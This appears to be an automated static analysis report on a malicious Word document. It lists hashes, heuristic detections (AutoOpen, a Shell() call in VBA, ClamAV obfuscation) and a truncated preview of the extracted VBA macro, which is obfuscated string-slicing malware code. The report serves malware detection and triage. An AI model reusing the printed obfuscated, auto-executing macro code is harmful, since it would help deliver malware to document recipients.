Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0ec2c0e35149c9f…

MALICIOUS

Office (OLE)

84.5 KB Created: 2017-10-20 06:49:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: d85a3545d9ab306e6c732c8fcb5723d0 SHA-1: 4a3de21c74edd19918f09f866793ebc696f0ed89 SHA-256: e0ec2c0e35149c9f6ade6a7daaa610744e09f59138bb635a00db5ae1429e1663
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The presence of an AutoOpen macro and the ClamAV detection further support its malicious nature. No specific family could be identified.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17715 bytes
SHA-256: 416a9314255a21e30eda7b2a7ba7a70e2206c4bac5ad6857492ad8eceb33964f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 47 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function CVkLEUthd()
GIVdtwLL = "1EGAaVRtDMzMqtBiwYSkFpNWAXhNMGTzhFkzbJNGAqhWOmJKWSqpAKEcElzDoEjztzilICHpLMjPHqIOOXrtPdzXAIvqKKSwJkdOHYBULBinapUNckpRNnhQzHkzHQfAunFWNtHqVWhNwLwLniNZVAjVDMOznBNvWitnjzzjdwvqFTRo9BCXIQDZ"
FDTlPkOjqFz = Mid(GIVdtwLL, 4, 173)
qjjNisBh = FDTlPkOjqFz
bGibjB = "JAP8650I7UNTGNT0L6flYviQXQORPqizCMBfwoWtfpwRwkOhRzStObBdJnNTioDdqfYnmQSOilGiwQRmCjzPXkkbKYWJbDLqmTaSLavAhELdVTisVaRBonFGuzdOuJmfZPvfqzbclziTYHFqtinAmJBzNUXNwhGYRjDGYzCWzoQpFmhnsmUQVmtQNwSVbNfDsJBsDwStbQBzsMuamkVKMpCfmntbhjvlJMzvkpktTboEkvXBCrjrrVrCHWFQFrMvVQofPwqzzcqlBwurPrZpzDtoVuoOjUncOsiUHsmDBlrPiGBIbOAORWwRWzKGQCLJ0G93PFS5D"
uNjHiWzKj = Mid(bGibjB, 19, 297)
HIuZHcpKRJ = uNjHiWzKj
qsjWCS = "JMRKSX77W7IJQ2KLYMYDFftEkTBfHCTJmrUSIcqiivWFsQjvaoPporQwAjziwEMXZB7W3G97PBU8AR8PUAH73"
GwoCuXjXkv = Mid(qsjWCS, 16, 47)
fcWppEBp = GwoCuXjXkv
rzpjvfwisUA = "4TDOA4T44M349HRGUTCWOLTOzkWDMBQzQfMqRSMkZVTrYsUMjYVCirzjlHuMMmaZWfNknddFRNUsrbqHQKTnjOUYjcFJXAYnuuUsijYGuQkQWGrJQnvCSQV1Z6UWNF41Z1M6D5L"
iwpSEM = Mid(rzpjvfwisUA, 21, 97)
RAojiWijOn = iwpSEM
YWYzCQ = "DV8OS5Z1TRGVqul8FF4XUZ"
NRzhrb = Mid(YWYzCQ, 13, 3)
XLHwfzzIh = NRzhrb
YvfGjPzs = "G376IW1OZO3SKjaBpGdHFXzSDJCjZaoaphHjPYjisuSjtMGcHwqCklHwBUzjLQthXTjrZulRWzPLENYrCaYdklqEaKivaCSbBkLafPCNLZflWvrovGiksPzmdcQOQpqTjnJUBwLmXKSLFEhiSpAUYiimnZwC8348H3H"
QpGNMN = Mid(YvfGjPzs, 14, 143)
JihzvUZRi = QpGNMN
YAOMAB = "IUKbOfoNWIPajXFVoLMdJOtfnUTZLruRzHhRtZXMbRkstBfdIwhmFsqwbiotLOCiNwcbpnbPoACsiAmlpqROJILFRlqPldANOFivZDnUUSzEqwRbsCDVznUFmXKEzMdKAodZVqMmCwurKGOSTPWiZiQakZIBsiXHpnECVsFBqRSAtdvfJrliGUQJ9TKXFYFMW17ID6X3IFKSFC6X8"
PFAvFmKajQr = Mid(YAOMAB, 2, 179)
dALZQHRa = PFAvFmKajQr
mXitBkjs = "LPZTF6N6YKEM9AXEipvBfZSKvJBTXaAoIMhuJDoluRzRajEpDGtIGdBQjbTjBDasHpOmEdvfBJHNcAkLELQQjshiLQKhjHkrrEJlUSkaKOHzWooirHcpmJMPHkbnSNwtYQVXqzrlbpGSkkIXccqbfvEisudkrzIzSNYGSQrI9"
MbwFjb = Mid(mXitBkjs, 15, 153)
QWPhUFkXt = MbwFjb
MXWEYIL = "O9UHDQWX0JQIWNUNHPIOJW9HKTNMzsvCDZjVBpCsXINsXjNQHdOqLumEcTzInZvsAXlwPcDhijiAaY66K4VPQL"
OAblXvFiVH = Mid(MXWEYIL, 29, 49)
QwUTdz = OAblXvFiVH
QubazAw = "TKA71XnsILoEKYUhRpjwzGwchlMsPdDCZkwskEVUHBMhqiOiajSbpIuCSLOQFudfHmfabbwMTMqvuRmCXiRjKcMRptaZqFONYjZDzoGzmFHdSzHBYLtbczUfaOkhAXWOzcWOriDiYStEUjwpmZAiLnkbMtdlDYwPjtfpctJqILCJDPLrPuvbWrDKrvBwFSizUiVbDJMsQKWAkbXwimVJdWsspVzhrLkpjDpZujnGhCLMUDZQXFPTWKH8J33MVCZSH"
rDtGIrG = Mid(QubazAw, 7, 238)
KYzicf = rDtGIrG
UltEcCqtEI = "Z16BDMCAM7PRY7XD51407GdwNPPLcjijJHrbfHvUdKJbzNqQfBcUpzDFsOqrDrFHkwfhVuXjOzNidBwAZzfbEKrJEljQREQlFBrwhIuldtFrmUbqQqRELdDaHVckKHRKjbdcKzSQEuzKEzXkJsAbmLabzQrLfKaWbvKLrzjQXBzQjtWHwsaSHqYUABiuIGkuUaiIpMsKMjDlMJuEtjNnjIPkXpKqUlHRQFwFKOSmAQFXnmIrGaAZtzKLLwlABCpabmUGMpufRamTCrzkjSjuliXSukuWT8HJ8M3841"
vMfuSUBGak = Mid(UltEcCqtEI, 23, 261)
ZrZzTfUkNOD = vMfuSUBGak
lifGYLBiijL = "B9BrQqOzDtfWcDLqWUOdLnfwVGuihIAWMBEMkzKphHfwPGInmSazzvufkuVKwkPutIKazwFXKYvEHjhPzGrPiCWQGZbpdztzrlFGvionMCmbzqXENGMpsALqltTZXPuKfwNWbaTPSECjQvRQBWcWmDFqZOVBOOPwHcvAcAcmnzXnwfapcCYAnYXbtWwNFRADpFYnAQoBupjpjRrunfZLqOJjEUHFDPjVwTztHmpLOXGzoiubfCZaspNavojjIizfJNsNTwmBqNzTIMuWZV9JFTADEMZFW"
UudrCWBh = Mid(lifGYLBiijL, 4, 270)
DlDdruT = UudrCWBh
TmLikkui = "0RErqQPdsWiErImcshqtEwNUrzvRAiZjMbQmdlditKjYOvjcJnjWrlifnGzrUzcNzwsPszwHDHzuSoGwSSINvCoazkzXlmOwhSbPCRjJocSjljNwADYBpOSuJRRIG8H8QPN0"
Tmfihtcch = Mid(TmLikkui, 4, 121)
hbPFURj = Tmfihtcch
vbCPBwEjrQ = "8IV4ZLPEXNUTCW98anidQzUvXiwuZPAL"
SALhi = Mid(vbCPBwEjrQ, 17, 12)
jtwukjb = SALhi
iSAfCsYNBb = "ZZwVWzlclhLfBFZhUhlwBwwPbaLjXmvjJmvRsKjsoRwFuCBGmnisfZDQUhuwlEFwmfVOJIoJAtKjAsVYYFukDDAkifwLPkGjMzTOhmwiwZrmOTQbMWXjKUviikjiLdtQmaXBZGrlIPmiLOVOOVztNaYrEkjzGSTUfbAowPCFRERC0ZRPHD7"
vLwwLubJtv = Mid(iSAfCsYNBb, 3, 166)
kbacuzmJ = vLwwLubJtv
DvJEsPzfNT = "JNVPKEZ2C5NMcSkwafvBRCiRfVHTLrJTAATjSuptOCMcuiCzposXwvSioRPPaDHDbaLcwBfjpCmPpCXzSIdXwlSLUL7DV0D1WL2V2AGPLJQ4CRND64
... (truncated)

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